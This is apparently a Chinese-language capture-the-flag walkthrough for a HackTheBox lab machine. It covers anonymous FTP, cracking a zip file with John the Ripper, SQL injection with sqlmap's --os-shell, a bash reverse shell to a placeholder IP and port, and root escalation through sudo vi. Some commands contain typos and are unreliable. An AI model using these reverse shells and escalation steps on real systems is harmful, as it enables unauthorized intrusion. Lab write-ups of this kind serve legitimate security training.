一、除了SSH和HTTP,这个盒子上还托管着什么其他服务?
1
2
3
#使用nmap扫描
nmap -sV -sC 10.129.21.15
ftp
二、此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么?
1
2
3
#使用nmap扫描
nmap -sV -sC 10.129.21.15
anonymouse
三、通过此服务下载的文件的名称是什么?
1
backup.zip

image-20230221154659612

四、 John The Ripper 工具集附带什么脚本,并从受密码保护的 zip 存档中生成哈希,其格式允许破解尝试?
1
2
zip2john
zip2john xxx.zip>xxx.hash
五、网站上管理员用户的密码是什么?
1
2
3
4
5
6
7
8
#使用john破解zip加密
zip2john backup.zip >> passwd.hash
#破解密码
john passwd.hash
#显示密码
john passwd.hash --show
#在index.php文件找到MD5加密的密码
qwerty789

image-20230222102554805

image-20230222102640395

六、可以将哪些选项传递给sqlmap以尝试通过sql注入来执行命令?
1
--os-shell
七、postgres用户可以使用sudo以root身份运行什么程序?
1
vi
八、UserFlag
1
2
3
4
5
#sqlmap --os-shell获取shell后,反弹shell到kali
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>1&'
#使用find搜索文件
find / type f -name user.txt
cat /var/lib/postgresql/user.txt
九、RootFlag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#从GitHub下载python脚本
https://github.com/florianges/-HTB-Vaccine_sql_injection
#复制nc.traditional文件到桌面,修改文件名为nc
cp /bin/nc.traditional /home/Desktop/nc
#开启python的web服务
python3 -m http.server 80
#修改sql_injection脚本,并开启nc监听
nc -lvvp 4444
#执行python脚本,获取shell(接收后不会弹出任何内容,直接执行命令即可)
#使用如下命令提升为ttyshell
SHELL=/bin/bash script -q /dev/null
python3 -c "import pty;pty.spawn('/bin/bash')"
#查看/var/www/html/dashboard.php文件,获取postgresql用户密码
cat /var/www/html/dashboard.php
#执行sudo -l,查看命令权限。输入刚才获取的密码
sudo -l
#编辑/pg_hba.conf文件
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
#写入提权命令,回车
:!/bin/bash
whoami
#find寻找root.txt文件
find / type f -name root.txt 2>dev/null
cat /root/roo.txt

image-20230222172322409

image-20230222172338416

image-20230222172522096

image-20230222173052225

image-20230223111734986

image-20230223111812736

总结
  • John工具破解加密zip

    1
    2
    3
    4
    5
    6
    #生成hash文件
    zip2john xxx.zip >> passwd.hash
    #破解hash
    jhon passwd.hash
    #显示密码
    jhon passwd.hash --show
  • 反弹shell

    1
    bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'